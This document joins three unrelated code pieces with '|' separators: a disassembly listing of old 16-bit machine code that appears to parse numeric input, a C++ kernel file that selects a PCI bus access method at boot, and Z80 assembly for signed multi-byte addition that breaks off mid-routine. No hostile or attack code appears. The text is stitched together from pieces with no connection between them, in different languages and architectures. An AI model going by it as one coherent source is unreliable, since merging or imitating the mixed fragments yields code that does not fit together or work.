0x00D1 (0x0001A2) 0x1800-0x0636 f:00014 d: 0 | A = 1590 (0x0636)
0x00D3 (0x0001A6) 0x2940- f:00024 d: 320 | OR[320] = A
0x00D4 (0x0001A8) 0x7259- f:00071 d: 89 | P = P - 89 (0x007B)
0x00D5 (0x0001AA) 0x2147- f:00020 d: 327 | A = OR[327]
0x00D6 (0x0001AC) 0x1630- f:00013 d: 48 | A = A - 48 (0x0030)
0x00D7 (0x0001AE) 0x2948- f:00024 d: 328 | OR[328] = A
0x00D8 (0x0001B0) 0x2142- f:00020 d: 322 | A = OR[322]
0x00D9 (0x0001B2) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x00DA (0x0001B4) 0x2908- f:00024 d: 264 | OR[264] = A
0x00DB (0x0001B6) 0x2148- f:00020 d: 328 | A = OR[328]
0x00DC (0x0001B8) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x00DD (0x0001BA) 0x74FB- f:00072 d: 251 | R = P + 251 (0x01D8)
0x00DE (0x0001BC) 0x2147- f:00020 d: 327 | A = OR[327]
0x00DF (0x0001BE) 0x163A- f:00013 d: 58 | A = A - 58 (0x003A)
0x00E0 (0x0001C0) 0x8602- f:00103 d: 2 | P = P + 2 (0x00E2), A # 0
0x00E1 (0x0001C2) 0x7005- f:00070 d: 5 | P = P + 5 (0x00E6)
0x00E2 (0x0001C4) 0x1800-0x0636 f:00014 d: 0 | A = 1590 (0x0636)
0x00E4 (0x0001C8) 0x2940- f:00024 d: 320 | OR[320] = A
0x00E5 (0x0001CA) 0x726A- f:00071 d: 106 | P = P - 106 (0x007B)
0x00E6 (0x0001CC) 0x0200- f:00001 d: 0 | EXIT
0x00E7 (0x0001CE) 0x2142- f:00020 d: 322 | A = OR[322]
0x00E8 (0x0001D0) 0x1415- f:00012 d: 21 | A = A + 21 (0x0015)
0x00E9 (0x0001D2) 0x2908- f:00024 d: 264 | OR[264] = A
0x00EA (0x0001D4) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00EB (0x0001D6) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x00EC (0x0001D8) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00ED (0x0001DA) 0x2949- f:00024 d: 329 | OR[329] = A
0x00EE (0x0001DC) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00EF (0x0001DE) 0x294A- f:00024 d: 330 | OR[330] = A
0x00F0 (0x0001E0) 0x214A- f:00020 d: 330 | A = OR[330]
0x00F1 (0x0001E2) 0x1604- f:00013 d: 4 | A = A - 4 (0x0004)
0x00F2 (0x0001E4) 0x8003- f:00100 d: 3 | P = P + 3 (0x00F5), C = 0
0x00F3 (0x0001E6) 0x8402- f:00102 d: 2 | P = P + 2 (0x00F5), A = 0
0x00F4 (0x0001E8) 0x702B- f:00070 d: 43 | P = P + 43 (0x011F)
0x00F5 (0x0001EA) 0x74E3- f:00072 d: 227 | R = P + 227 (0x01D8)
0x00F6 (0x0001EC) 0x2147- f:00020 d: 327 | A = OR[327]
0x00F7 (0x0001EE) 0x163A- f:00013 d: 58 | A = A - 58 (0x003A)
0x00F8 (0x0001F0) 0x8402- f:00102 d: 2 | P = P + 2 (0x00FA), A = 0
0x00F9 (0x0001F2) 0x7002- f:00070 d: 2 | P = P + 2 (0x00FB)
0x00FA (0x0001F4) 0x742F- f:00072 d: 47 | R = P + 47 (0x0129)
0x00FB (0x0001F6) 0x2147- f:00020 d: 327 | A = OR[327]
0x00FC (0x0001F8) 0x8405- f:00102 d: 5 | P = P + 5 (0x0101), A = 0
0x00FD (0x0001FA) 0x2147- f:00020 d: 327 | A = OR[327]
0x00FE (0x0001FC) 0x1620- f:00013 d: 32 | A = A - 32 (0x0020)
0x00FF (0x0001FE) 0x8402- f:00102 d: 2 | P = P + 2 (0x0101), A = 0
0x0100 (0x000200) 0x700F- f:00070 d: 15 | P = P + 15 (0x010F)
0x0101 (0x000202) 0x214A- f:00020 d: 330 | A = OR[330]
0x0102 (0x000204) 0x8402- f:00102 d: 2 | P = P + 2 (0x0104), A = 0
0x0103 (0x000206) 0x7005- f:00070 d: 5 | P = P + 5 (0x0108)
0x0104 (0x000208) 0x1800-0x0637 f:00014 d: 0 | A = 1591 (0x0637)
0x0106 (0x00020C) 0x2940- f:00024 d: 320 | OR[320] = A
0x0107 (0x00020E) 0x728C- f:00071 d: 140 | P = P - 140 (0x007B)
0x0108 (0x000210) 0x2142- f:00020 d: 322 | A = OR[322]
0x0109 (0x000212) 0x140A- f:00012 d: 10 | A = A + 10 (0x000A)
0x010A (0x000214) 0x2908- f:00024 d: 264 | OR[264] = A
0x010B (0x000216) 0x2149- f:00020 d: 329 | A = OR[329]
0x010C (0x000218) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x010D (0x00021A) 0x0200- f:00001 d: 0 | EXIT
0x010E (0x00021C) 0x700E- f:00070 d: 14 | P = P + 14 (0x011C)
0x010F (0x00021E) 0x2147- f:00020 d: 327 | A = OR[327]
0x0110 (0x000220) 0x1630- f:00013 d: 48 | A = A - 48 (0x0030)
0x0111 (0x000222) 0x8007- f:00100 d: 7 | P = P + 7 (0x0118), C = 0
0x0112 (0x000224) 0x2147- f:00020 d: 327 | A = OR[327]
0x0113 (0x000226) 0x1639- f:00013 d: 57 | A = A - 57 (0x0039)
0x0114 (0x000228) 0x8003- f:00100 d: 3 | P = P + 3 (0x0117), C = 0
0x0115 (0x00022A) 0x8402- f:00102 d: 2 | P = P + 2 (0x0117), A = 0
0x0116 (0x00022C) 0x7002- f:00070 d: 2 | P = P + 2 (0x0118)
0x0117 (0x00022E) 0x7005- f:00070 d: 5 | P = P + 5 (0x011C)
0x0118 (0x000230) 0x1800-0x0637 f:00014 d: 0 | A = 1591 (0x0637)
0x011A (0x000234) 0x2940- f:00024 d: 320 | OR[320] = A
0x011B (0x000236) 0x72A0- f:00071 d: 160 | P = P - 160 (0x007B)
0x011C (0x000238) 0x74D7- f:00072 d: 215 | R = P + 215 (0x01F3)
0x011D (0x00023A) 0x2D4A- f:00026 d: 330 | OR[330] = OR[330] + 1
0x011E (0x00023C) 0x722E- f:00071 d: 46 | P = P - 46 (0x00F0)
0x011F (0x00023E) 0x1800-0x0637 f:00014 d: 0 | A = 1591 (0x0637)
0x0121 (0x000242) 0x2940- f:00024 d: 320 | OR[320] = A
0x0122 (0x000244) 0x72A7- f:00071 d: 167 | P = P - 167 (0x007B)
0x0123 (0x000246) 0x2142- f:00020 d: 322 | A = OR[322]
0x0124 (0x000248) 0x1414- f:00012 d: 20 | A = A + 20 (0x0014)
0x0125 (0x00024A) 0x2908- f:00024 d: 264 | OR[264] = A
0x0126 (0x00024C) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0127 (0x00024E) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0128 (0x000250) 0x0200- f:00001 d: 0 | EXIT
0x0129 (0x000252) 0x74AF- f:00072 d: 175 | R = P + 175 (0x01D8)
0x012A (0x000254) 0x2147- f:00020 d: 327 | A = OR[327]
0x012B (0x000256) 0x0A08- f:00005 d: 8 | A = A < 8 (0x0008)
0x012C (0x000258) 0x294B- f:00024 d: 331 | OR[331] = A
0x012D (0x00025A) 0x74AB- f:00072 d: 171 | R = P + 171 (0x01D8)
0x012E (0x00025C) 0x214B- f:00020 d: 331 | A = OR[331]
0x012F (0x00025E) 0x2547- f:00022 d: 327 | A = A + OR[327]
0x0130 (0x000260) 0x294B- f:00024 d: 331 | OR[331] = A
0x0131 (0x000262) 0x214B- f:00020 d: 331 | A = OR[331]
0x0132 (0x000264) 0x1E00-0x4E52 f:00017 d: 0 | A = A - 20050 (0x4E52)
0x0134 (0x000268) 0x8602- f:00103 d: 2 | P = P + 2 (0x0136), A # 0
0x0135 (0x00026A) 0x7005- f:00070 d: 5 | P = P + 5 (0x013A)
0x0136 (0x00026C) 0x1800-0x0634 f:00014 d: 0 | A = 1588 (0x0634)
0x0138 (0x000270) 0x2940- f:00024 d: 320 | OR[320] = A
0x0139 (0x000272) 0x72BE- f:00071 d: 190 | P = P - 190 (0x007B)
0x013A (0x000274) 0x749E- f:00072 d: 158 | R = P + 158 (0x01D8)
0x013B (0x000276) 0x2147- f:00020 d: 327 | A = OR[327]
0x013C (0x000278) 0x8602- f:00103 d: 2 | P = P + 2 (0x013E), A # 0
0x013D (0x00027A) 0x7009- f:00070 d: 9 | P = P + 9 (0x0146)
0x013E (0x00027C) 0x2147- f:00020 d: 327 | A = OR[327]
0x013F (0x00027E) 0x1620- f:00013 d: 32 | A = A - 32 (0x0020)
0x0140 (0x000280) 0x8602- f:00103 d: 2 | P = P + 2 (0x0142), A # 0
0x0141 (0x000282) 0x7005- f:00070 d: 5 | P = P + 5 (0x0146)
0x0142 (0x000284) 0x1800-0x0634 f:00014 d: 0 | A = 1588 (0x0634)
0x0144 (0x000288) 0x2940- f:00024 d: 320 | OR[320] = A
0x0145 (0x00028A) 0x72CA- f:00071 d: 202 | P = P - 202 (0x007B)
0x0146 (0x00028C) 0x2142- f:00020 d: 322 | A = OR[322]
0x0147 (0x00028E) 0x1415- f:00012 d: 21 | A = A + 21 (0x0015)
0x0148 (0x000290) 0x2908- f:00024 d: 264 | OR[264] = A
0x0149 (0x000292) 0x214B- f:00020 d: 331 | A = OR[331]
0x014A (0x000294) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x014B (0x000296) 0x0200- f:00001 d: 0 | EXIT
0x014C (0x000298) 0x2143- f:00020 d: 323 | A = OR[323]
0x014D (0x00029A) 0x294C- f:00024 d: 332 | OR[332] = A
0x014E (0x00029C) 0x2142- f:00020 d: 322 | A = OR[322]
0x014F (0x00029E) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x0150 (0x0002A0) 0x294D- f:00024 d: 333 | OR[333] = A
0x0151 (0x0002A2) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0152 (0x0002A4) 0x294A- f:00024 d: 330 | OR[330] = A
0x0153 (0x0002A6) 0x214A- f:00020 d: 330 | A = OR[330]
0x0154 (0x0002A8) 0x1610- f:00013 d: 16 | A = A - 16 (0x0010)
0x0155 (0x0002AA) 0x8441- f:00102 d: 65 | P = P + 65 (0x0196), A = 0
0x0156 (0x0002AC) 0x7482- f:00072 d: 130 | R = P + 130 (0x01D8)
0x0157 (0x0002AE) 0x2147- f:00020 d: 327 | A = OR[327]
0x0158 (0x0002B0) 0x162F- f:00013 d: 47 | A = A - 47 (0x002F)
0x0159 (0x0002B2) 0x8402- f:00102 d: 2 | P = P + 2 (0x015B), A = 0
0x015A (0x0002B4) 0x700A- f:00070 d: 10 | P = P + 10 (0x0164)
0x015B (0x0002B6) 0x214A- f:00020 d: 330 | A = OR[330]
0x015C (0x0002B8) 0x8402- f:00102 d: 2 | P = P + 2 (0x015E), A = 0
0x015D (0x0002BA) 0x7005- f:00070 d: 5 | P = P + 5 (0x0162)
0x015E (0x0002BC) 0x1800-0x0638 f:00014 d: 0 | A = 1592 (0x0638)
0x0160 (0x0002C0) 0x2940- f:00024 d: 320 | OR[320] = A
0x0161 (0x0002C2) 0x72E6- f:00071 d: 230 | P = P - 230 (0x007B)
0x0162 (0x0002C4) 0x0200- f:00001 d: 0 | EXIT
0x0163 (0x0002C6) 0x7019- f:00070 d: 25 | P = P + 25 (0x017C)
0x0164 (0x0002C8) 0x2147- f:00020 d: 327 | A = OR[327]
0x0165 (0x0002CA) 0x8405- f:00102 d: 5 | P = P + 5 (0x016A), A = 0
0x0166 (0x0002CC) 0x2147- f:00020 d: 327 | A = OR[327]
0x0167 (0x0002CE) 0x1620- f:00013 d: 32 | A = A - 32 (0x0020)
0x0168 (0x0002D0) 0x8402- f:00102 d: 2 | P = P + 2 (0x016A), A = 0
0x0169 (0x0002D2) 0x7013- f:00070 d: 19 | P = P + 19 (0x017C)
0x016A (0x0002D4) 0x1800-0x3957 f:00014 d: 0 | A = 14679 (0x3957)
0x016C (0x0002D8) 0x290D- f:00024 d: 269 | OR[269] = A
0x016D (0x0002DA) 0x214D- f:00020 d: 333 | A = OR[333]
0x016E (0x0002DC) 0x290E- f:00024 d: 270 | OR[270] = A
0x016F (0x0002DE) 0x1008- f:00010 d: 8 | A = 8 (0x0008)
0x0170 (0x0002E0) 0x290F- f:00024 d: 271 | OR[271] = A
0x0171 (0x0002E2) 0x7006- f:00070 d: 6 | P = P + 6 (0x0177)
0x0172 (0x0002E4) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0173 (0x0002E6) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x0174 (0x0002E8) 0x2D0D- f:00026 d: 269 | OR[269] = OR[269] + 1
0x0175 (0x0002EA) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x0176 (0x0002EC) 0x2F0F- f:00027 d: 271 | OR[271] = OR[271] - 1
0x0177 (0x0002EE) 0x210F- f:00020 d: 271 | A = OR[271]
0x0178 (0x0002F0) 0x8E06- f:00107 d: 6 | P = P - 6 (0x0172), A # 0
0x0179 (0x0002F2) 0x214C- f:00020 d: 332 | A = OR[332]
0x017A (0x0002F4) 0x2943- f:00024 d: 323 | OR[323] = A
0x017B (0x0002F6) 0x0200- f:00001 d: 0 | EXIT
0x017C (0x0002F8) 0x2147- f:00020 d: 327 | A = OR[327]
0x017D (0x0002FA) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x017E (0x0002FC) 0x290D- f:00024 d: 269 | OR[269] = A
0x017F (0x0002FE) 0x214A- f:00020 d: 330 | A = OR[330]
0x0180 (0x000300) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x0181 (0x000302) 0x254D- f:00022 d: 333 | A = A + OR[333]
0x0182 (0x000304) 0x290E- f:00024 d: 270 | OR[270] = A
0x0183 (0x000306) 0x214A- f:00020 d: 330 | A = OR[330]
0x0184 (0x000308) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x0185 (0x00030A) 0x2908- f:00024 d: 264 | OR[264] = A
0x0186 (0x00030C) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0187 (0x00030E) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0188 (0x000310) 0x8607- f:00103 d: 7 | P = P + 7 (0x018F), A # 0
0x0189 (0x000312) 0x310E- f:00030 d: 270 | A = (OR[270])
0x018A (0x000314) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x018B (0x000316) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x018C (0x000318) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x018D (0x00031A) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x018E (0x00031C) 0x7006- f:00070 d: 6 | P = P + 6 (0x0194)
0x018F (0x00031E) 0x310E- f:00030 d: 270 | A = (OR[270])
0x0190 (0x000320) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x0192 (0x000324) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x0193 (0x000326) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x0194 (0x000328) 0x2D4A- f:00026 d: 330 | OR[330] = OR[330] + 1
0x0195 (0x00032A) 0x7242- f:00071 d: 66 | P = P - 66 (0x0153)
0x0196 (0x00032C) 0x1800-0x0638 f:00014 d: 0 | A = 1592 (0x0638)
0x0198 (0x000330) 0x2940- f:00024 d: 320 | OR[320] = A
0x0199 (0x000332) 0x731E- f:00071 d: 286 | P = P - 286 (0x007B)
0x019A (0x000334) 0x2142- f:00020 d: 322 | A = OR[322]
0x019B (0x000336) 0x140A- f:00012 d: 10 | A = A + 10 (0x000A)
0x019C (0x000338) 0x294E- f:00024 d: 334 | OR[334] = A
0x019D (0x00033A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x019E (0x00033C) 0x294A- f:00024 d: 330 | OR[330] = A
0x019F (0x00033E) 0x214A- f:00020 d: 330 | A = OR[330]
0x01A0 (0x000340) 0x1610- f:00013 d: 16 | A = A - 16 (0x0010)
0x01A1 (0x000342) 0x842A- f:00102 d: 42 | P = P + 42 (0x01CB), A = 0
0x01A2 (0x000344) 0x7436- f:00072 d: 54 | R = P + 54 (0x01D8)
0x01A3 (0x000346) 0x2147- f:00020 d: 327 | A = OR[327]
0x01A4 (0x000348) 0x8405- f:00102 d: 5 | P = P + 5 (0x01A9), A = 0
0x01A5 (0x00034A) 0x2147- f:00020 d: 327 | A = OR[327]
0x01A6 (0x00034C) 0x1620- f:00013 d: 32 | A = A - 32 (0x0020)
0x01A7 (0x00034E) 0x8402- f:00102 d: 2 | P = P + 2 (0x01A9), A = 0
0x01A8 (0x000350) 0x7009- f:00070 d: 9 | P = P + 9 (0x01B1)
0x01A9 (0x000352) 0x214A- f:00020 d: 330 | A = OR[330]
0x01AA (0x000354) 0x8402- f:00102 d: 2 | P = P + 2 (0x01AC), A = 0
0x01AB (0x000356) 0x7005- f:00070 d: 5 | P = P + 5 (0x01B0)
0x01AC (0x000358) 0x1800-0x0639 f:00014 d: 0 | A = 1593 (0x0639)
0x01AE (0x00035C) 0x2940- f:00024 d: 320 | OR[320] = A
0x01AF (0x00035E) 0x7334- f:00071 d: 308 | P = P - 308 (0x007B)
0x01B0 (0x000360) 0x0200- f:00001 d: 0 | EXIT
0x01B1 (0x000362) 0x2147- f:00020 d: 327 | A = OR[327]
0x01B2 (0x000364) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x01B3 (0x000366) 0x290D- f:00024 d: 269 | OR[269] = A
0x01B4 (0x000368) 0x214A- f:00020 d: 330 | A = OR[330]
0x01B5 (0x00036A) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x01B6 (0x00036C) 0x254E- f:00022 d: 334 | A = A + OR[334]
0x01B7 (0x00036E) 0x290E- f:00024 d: 270 | OR[270] = A
0x01B8 (0x000370) 0x214A- f:00020 d: 330 | A = OR[330]
0x01B9 (0x000372) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x01BA (0x000374) 0x2908- f:00024 d: 264 | OR[264] = A
0x01BB (0x000376) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01BC (0x000378) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x01BD (0x00037A) 0x8607- f:00103 d: 7 | P = P + 7 (0x01C4), A # 0
0x01BE (0x00037C) 0x310E- f:00030 d: 270 | A = (OR[270])
0x01BF (0x00037E) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x01C0 (0x000380) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x01C1 (0x000382) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x01C2 (0x000384) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x01C3 (0x000386) 0x7006- f:00070 d: 6 | P = P + 6 (0x01C9)
0x01C4 (0x000388) 0x310E- f:00030 d: 270 | A = (OR[270])
0x01C5 (0x00038A) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x01C7 (0x00038E) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x01C8 (0x000390) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x01C9 (0x000392) 0x2D4A- f:00026 d: 330 | OR[330] = OR[330] + 1
0x01CA (0x000394) 0x722B- f:00071 d: 43 | P = P - 43 (0x019F)
0x01CB (0x000396) 0x1800-0x0639 f:00014 d: 0 | A = 1593 (0x0639)
0x01CD (0x00039A) 0x2940- f:00024 d: 320 | OR[320] = A
0x01CE (0x00039C) 0x7353- f:00071 d: 339 | P = P - 339 (0x007B)
0x01CF (0x00039E) 0x1020- f:00010 d: 32 | A = 32 (0x0020)
0x01D0 (0x0003A0) 0x2947- f:00024 d: 327 | OR[327] = A
0x01D1 (0x0003A2) 0x2147- f:00020 d: 327 | A = OR[327]
0x01D2 (0x0003A4) 0x1620- f:00013 d: 32 | A = A - 32 (0x0020)
0x01D3 (0x0003A6) 0x8603- f:00103 d: 3 | P = P + 3 (0x01D6), A # 0
0x01D4 (0x0003A8) 0x7404- f:00072 d: 4 | R = P + 4 (0x01D8)
0x01D5 (0x0003AA) 0x7204- f:00071 d: 4 | P = P - 4 (0x01D1)
0x01D6 (0x0003AC) 0x2F43- f:00027 d: 323 | OR[323] = OR[323] - 1
0x01D7 (0x0003AE) 0x0200- f:00001 d: 0 | EXIT
0x01D8 (0x0003B0) 0x2143- f:00020 d: 323 | A = OR[323]
0x01D9 (0x0003B2) 0x1650- f:00013 d: 80 | A = A - 80 (0x0050)
0x01DA (0x0003B4) 0x8402- f:00102 d: 2 | P = P + 2 (0x01DC), A = 0
0x01DB (0x0003B6) 0x7004- f:00070 d: 4 | P = P + 4 (0x01DF)
0x01DC (0x0003B8) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01DD (0x0003BA) 0x2947- f:00024 d: 327 | OR[327] = A
0x01DE (0x0003BC) 0x7014- f:00070 d: 20 | P = P + 20 (0x01F2)
0x01DF (0x0003BE) 0x2143- f:00020 d: 323 | A = OR[323]
0x01E0 (0x0003C0) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x01E1 (0x0003C2) 0x2541- f:00022 d: 321 | A = A + OR[321]
0x01E2 (0x0003C4) 0x290D- f:00024 d: 269 | OR[269] = A
0x01E3 (0x0003C6) 0x310D- f:00030 d: 269 | A = (OR[269])
0x01E4 (0x0003C8) 0x290D- f:00024 d: 269 | OR[269] = A
0x01E5 (0x0003CA) 0x2143- f:00020 d: 323 | A = OR[323]
0x01E6 (0x0003CC) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x01E7 (0x0003CE) 0x2908- f:00024 d: 264 | OR[264] = A
0x01E8 (0x0003D0) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01E9 (0x0003D2) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x01EA (0x0003D4) 0x8604- f:00103 d: 4 | P = P + 4 (0x01EE), A # 0
0x01EB (0x0003D6) 0x210D- f:00020 d: 269 | A = OR[269]
0x01EC (0x0003D8) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x01ED (0x0003DA) 0x290D- f:00024 d: 269 | OR[269] = A
0x01EE (0x0003DC) 0x210D- f:00020 d: 269 | A = OR[269]
0x01EF (0x0003DE) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x01F0 (0x0003E0) 0x2947- f:00024 d: 327 | OR[327] = A
0x01F1 (0x0003E2) 0x2D43- f:00026 d: 323 | OR[323] = OR[323] + 1
0x01F2 (0x0003E4) 0x0200- f:00001 d: 0 | EXIT
0x01F3 (0x0003E6) 0x2149- f:00020 d: 329 | A = OR[329]
0x01F4 (0x0003E8) 0x0A03- f:00005 d: 3 | A = A < 3 (0x0003)
0x01F5 (0x0003EA) 0x2913- f:00024 d: 275 | OR[275] = A
0x01F6 (0x0003EC) 0x2149- f:00020 d: 329 | A = OR[329]
0x01F7 (0x0003EE) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x01F8 (0x0003F0) 0x2513- f:00022 d: 275 | A = A + OR[275]
0x01F9 (0x0003F2) 0x2949- f:00024 d: 329 | OR[329] = A
0x01FA (0x0003F4) 0x2147- f:00020 d: 327 | A = OR[327]
0x01FB (0x0003F6) 0x1630- f:00013 d: 48 | A = A - 48 (0x0030)
0x01FC (0x0003F8) 0x2913- f:00024 d: 275 | OR[275] = A
0x01FD (0x0003FA) 0x2149- f:00020 d: 329 | A = OR[329]
0x01FE (0x0003FC) 0x2513- f:00022 d: 275 | A = A + OR[275]
0x01FF (0x0003FE) 0x2949- f:00024 d: 329 | OR[329] = A
0x0200 (0x000400) 0x0200- f:00001 d: 0 | EXIT
0x0201 (0x000402) 0x0000- f:00000 d: 0 | PASS
0x0202 (0x000404) 0x0000- f:00000 d: 0 | PASS
0x0203 (0x000406) 0x0000- f:00000 d: 0 | PASS
|
/*
* Copyright (c) 2020, Liav A. <liavalb@hotmail.co.il>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <Kernel/ACPI/Parser.h>
#include <Kernel/Bus/PCI/IOAccess.h>
#include <Kernel/Bus/PCI/Initializer.h>
#include <Kernel/Bus/PCI/MMIOAccess.h>
#include <Kernel/Bus/PCI/WindowedMMIOAccess.h>
#include <Kernel/CommandLine.h>
#include <Kernel/IO.h>
#include <Kernel/Panic.h>
#include <Kernel/Sections.h>
namespace Kernel {
namespace PCI {
static bool test_pci_io();
UNMAP_AFTER_INIT static PCIAccessLevel detect_optimal_access_type(PCIAccessLevel boot_determined)
{
if (!ACPI::is_enabled() || ACPI::Parser::the()->find_table("MCFG").is_null())
return PCIAccessLevel::IOAddressing;
if (boot_determined != PCIAccessLevel::IOAddressing)
return boot_determined;
if (test_pci_io())
return PCIAccessLevel::IOAddressing;
PANIC("No PCI bus access method detected!");
}
UNMAP_AFTER_INIT void initialize()
{
auto boot_determined = kernel_command_line().pci_access_level();
switch (detect_optimal_access_type(boot_determined)) {
case PCIAccessLevel::MappingPerDevice:
WindowedMMIOAccess::initialize(ACPI::Parser::the()->find_table("MCFG"));
break;
case PCIAccessLevel::MappingPerBus:
MMIOAccess::initialize(ACPI::Parser::the()->find_table("MCFG"));
break;
case PCIAccessLevel::IOAddressing:
IOAccess::initialize();
break;
default:
VERIFY_NOT_REACHED();
}
PCI::PCIBusSysFSDirectory::initialize();
PCI::enumerate([&](const Address& address, ID id) {
dmesgln("{} {}", address, id);
});
}
UNMAP_AFTER_INIT bool test_pci_io()
{
dmesgln("Testing PCI via manual probing...");
u32 tmp = 0x80000000;
IO::out32(PCI_ADDRESS_PORT, tmp);
tmp = IO::in32(PCI_ADDRESS_PORT);
if (tmp == 0x80000000) {
dmesgln("PCI IO supported");
return true;
}
dmesgln("PCI IO not supported");
return false;
}
}
}
|
;; calcs HLB + DEC where B and C are signs
;; result HL with A as sign
;; special handling if result is zero forcign sign bit to be zero
AHLEquBHLaddCDE: ld a,b
xor c
and SignOnly8Bit
JumpIfNegative .OppositeSigns
.SameSigns: ld ixh,b ; ixh = b
ClearSignBit b ; b = ABS b
add hl,de ; hl = hl + de
ld a,b ; a = b + c + carry
adc c ;
ld b,a ;
ld a,ixh ;
SignBitOnlyA ;
or b ;
ret ;
.OppositeSigns: ld ixh,b
ld ixl,c
ClearSignBit c ; c = ABS C
ld a,b
ClearSignBitA
sbc c
JumpIfNegative .OppositeCDEgtBHL
sbc hl,de
JumpIfNegative .OppositeCDEgtBHL
ld b,a
ld a,ixh
SignBitOnlyA ;
or b ;
ret ;
.OppositeCDEgtBHL: ex de,hl
ld a,b
ld b,c
ld c,a
jp .OppositeSigns
ADDHLDESignBC: ld a,b
and SignOnly8Bit
xor c ;if b sign and c sign were different then bit 7 of a will be 1 which means
JumpIfNegative ADDHLDEsBCOppSGN ;Signs are opposite there fore we can subtract to get difference
ADDHLDEsBCSameSigns: ld a,b
or c
JumpIfNegative ADDHLDEsBCSameNeg ; optimisation so we can just do simple add if both positive
add hl,de ; both positive so a will already be zero
ret
ADDHLDEsBCSameNeg: add hl,de
ld a,b
or c ; now set bit for negative value, we won't bother with overflow for now TODO
ret
ADDHLDEsBCOppSGN: ClearCarryFlag
sbc hl,de
jr c,ADDHLDEsBCOppInvert
ADDHLDEsBCOppSGNNoCarry: ld a,b ; we got here so hl > de therefore we can just take hl's previous sign bit
ret
ADDHLDEsBCOppInvert: NegHL ; if result was zero then set sign to zero (which doing h or l will give us for free)
ld a,b
xor SignOnly8Bit ; flip sign bit
ret
addhldesigned: bit 7,h
jr nz,.noneghl
call negate16hl
.noneghl: bit 7,d
jr nz,.nonegde
call negate16de
.nonegde: add hl,de ; do 2'd c add
xor a ; assume positive
bit 7,h
ret z ; if not set then can exit early
call negate16hl
ld a,$FF
ret
; HL(2sc) = HL (signed) + A (unsigned), uses HL, DE, A
HL2cEquHLSgnPlusAusgn: ld d,0
ld e,a ; set up DE = A
ld a,h
and SignMask8Bit
jr z,.HLPositive ; if HL is negative then do HL - A
.HLNegative: ld h,a ; hl = ABS (HL)
NegHL ; hl = - hl
.HLPositive: ClearCarryFlag ; now do adc hl,de
adc hl,de ; aftert his hl will be 2's c
ret
HLEquHLSgnPlusAusgn: ld e,a
ld a,h
and SignMask8Bit
jr nz,.HLNegative ; if HL is negative then do HL - A
.HLPositive: ld a,e ; else its HL + A
add hl,a
ret
.HLNegative: ClearSignBit h ; Clear sign of HL
NegHL ; and convert to 2's C
ld d,0
ClearCarryFlag
sbc hl,de ; now add a to -ve HL , add does not do 2's c
jp m,.FlipResult ; if it was negative then its really positive
SetSignBit h
ret
.FlipResult: NegHL ; so if -hl + A => HL - A => HL - DE is negative then the actual result is +ve
ret
; HL = HL (signed) + A (unsigned), uses HL, DE, A
AddAusngToHLsng: ld d,a
ld e,h
ld a,h
and SignMask8Bit
ld h,a
ld a,d
add hl,a
ld a,e
and SignOnly8Bit
or h
ret
; HL = A (unsigned) - HL (signed), uses HL, DE, BC, A
HLEequAusngMinusHLsng: ld b,h
ld c,a
ld a,b
and SignOnly8Bit
jr nz,.DoAdd
.DoSubtract: ex de,hl ; move hl into de
ld h,0 ; hl = a
ld l,c
ClearCarryFlag
sbc hl,de ; hl = a - hl
ret
.DoAdd: ld a,c
add hl,a
ret
;tested mathstestsun2
; DEL = DEL + BCH signed, uses BC, DE, HL, IY, A
AddBCHtoDELsigned: ld a,b ; Are the values both the same sign?
xor d ; .
and SignOnly8Bit ; .
jr nz,.SignDifferent ; .
.SignSame: ld a,b ; if they are then we only need 1 signe
and SignOnly8Bit ; so store it in iyh
ld iyh,a ;
ld a,b ; bch = abs bch
and SignMask8Bit ; .
ld b,a ; .
ld a,d ; del = abs del
and SignMask8Bit ; .
ld d,a ; .
ld a,h ; l = h + l
add l ; .
ld l,a ; .
